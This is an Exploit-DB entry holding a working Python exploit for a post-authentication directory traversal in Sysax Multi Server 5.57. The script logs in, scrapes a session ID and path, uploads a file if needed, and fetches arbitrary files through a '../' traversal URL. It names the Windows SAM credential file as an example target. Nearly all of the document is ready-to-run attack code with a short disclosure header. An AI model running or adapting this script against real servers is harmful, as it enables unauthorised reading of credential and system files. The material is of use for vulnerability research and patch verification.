Exploit-DB #18695
Description: Sysax 5.57 - Directory Traversal
Type: remote
Platform: windows
Date: 2012-04-03
Author: Craig Freyman

Exploit:
#!/usr/bin/python
##########################################################################################################
#Title: Sysax Multi Server <= 5.57 Directory Traversal Tool (Post Auth)
#Author: Craig Freyman (@cd1zz)
#Tested on: XP SP3 32bit and Server 2003 SP2 32bit
#Date Discovered: March 27, 2012
#Vendor Contacted: March 29, 2012
#Vendor Response: April 3, 2012	
#Vendor Fixed: (Currently working on fix, check my site for update)
#Details: http://www.pwnag3.com/2012/04/sysax-directory-traversal-exploit.html
##########################################################################################################

import socket,sys,time,re,base64,urllib

def main():
	#base64 encode the provided creds
	creds = base64.encodestring(user+"\x0a"+password)

	print "\n"
	print "****************************************************************************"
	print "       Sysax Multi Server <= 5.57 Directory Traversal Tool (Post Auth)      "
	print "     	  	         by @cd1zz www.pwnag3.com                          "
	print "	        Getting "+getfile+" from " + target + " on port " + str(port) 
	print "****************************************************************************"

	#setup post for login
	login = "POST /scgi?sid=0&pid=dologin HTTP/1.1\r\n"
	login += "Host: \r\n"
	login += "http://"+target+"/scgi?sid=0&pid=dologin\r\n"
	login += "Content-Type: application/x-www-form-urlencoded\r\n"
	login += "Content-Length: 15\r\n\r\n"
	login += "fd="+creds+"\n\n"

	#send post and login creds
	try:
		r = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		r.connect((target, port))
		print "[*] Logging in"
		r.send(login)
	except Exception, e:
		print "[-] Could not login"
		print e
	
	#loop the recv sock so we get the full page
	page = ''	
	fullpage = ''	
	while "</html>" not in fullpage:
		page = r.recv(4096)
		fullpage += page
	time.sleep(1)

	#regex the sid from the page
	global sid
	sid = re.search(r'sid=[a-zA-Z0-9]{40}',fullpage,re.M)
	if sid is None:
		print "[x] Could not login. User and pass correct?"
		sys.exit(1)
	time.sleep(1)

	#regex to find user's path
	print "[*] Finding your home path"
	global path
	path = re.search(r'file=[a-zA-Z]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',fullpage,re.M)
	time.sleep(1)

	#if that doesn't work, try to upload a file and check again
	if path is None:
		print "[-] No files found, I will try to upload one for you."
		print "[-] If you don't have rights to do this, it will fail."

		upload = "POST /scgi?"+str(sid.group(0))+"&pid=uploadfile_name1.htm HTTP/1.1\r\n"
		upload += "Host:\r\n"
		upload += "Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]691620\r\n"
		upload += "Content-Length: 219\r\n\r\n"
		upload += "----------------------------[PII_REDACTED][PII_REDACTED]691620\r\n"
		upload += "Content-Disposition: form-data; name=\"upload_file\"; filename=\"file.txt\"\r\n"
		upload += "Content-Type: text/plain\r\n"
		upload += "----------------------------[PII_REDACTED][PII_REDACTED]691620--\r\n\r\n"

		u = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		u.connect((target, port))
		u.send(upload + "\r\n")
		page = ''
		fullpage = ''	
		while "</html>" not in fullpage:
			page = u.recv(4096)
			fullpage += page
		path = re.search(r'file=[a-zA-Z0-9]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',fullpage,re.M)
		time.sleep(2)
		if path is None:
			print "\n[x] It failed, you probably don't have rights to upload."
			print "[x] Please retry the script a few times."
			print "[x] You need at least one file in the directory because we need" 
			print "[x] to append our directory traversal to the end of your path."
			sys.exit(1)
	print "[+] Got it => " + path.group(0) 
	time.sleep(1)
	r.close()

def dirtrav():
	#here is the dir trav 
	url = "http://"+target+"/scgi?"+str(sid.group(0))+"&"+path.group(0)+"../../../../../../../"+getfile
	try:
		retrieved_file = urllib.urlopen(url)
		filename = raw_input("[+] Got your file. What file name do you want to save it as?  ")
		output = open(filename,'wb')
		output.write(retrieved_file.read())
		output.close()
		print "[*] Done!"
	except Exception, e:
		print "[x] Either the file doesn't exist or you mistyped it. Error below:"
		print "[x] You can also try to browse this site manually:"
		print "[x] " + url
		print e

def keepgoing():
	cont = raw_input("[*] Do you want another file (y/n)? ")
	while cont == "y":
		global getfile
		getfile = raw_input("[*] Enter the location of the new file: ")
		dirtrav()
		cont = raw_input("[*] Do you want another file (y/n)? ")
	else:
		sys.exit(1) 
	
if __name__ == '__main__':
	if len(sys.argv) != 6:
		print "[+] Usage: ./filename <Target IP> <Port> <User> <Password> <File>"
		print "[+] File examples => windows/repair/sam or boot.ini"
		sys.exit(1)

	target, port, user, password, getfile = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], sys.argv[5]
	
	main()
	dirtrav()
	keepgoing()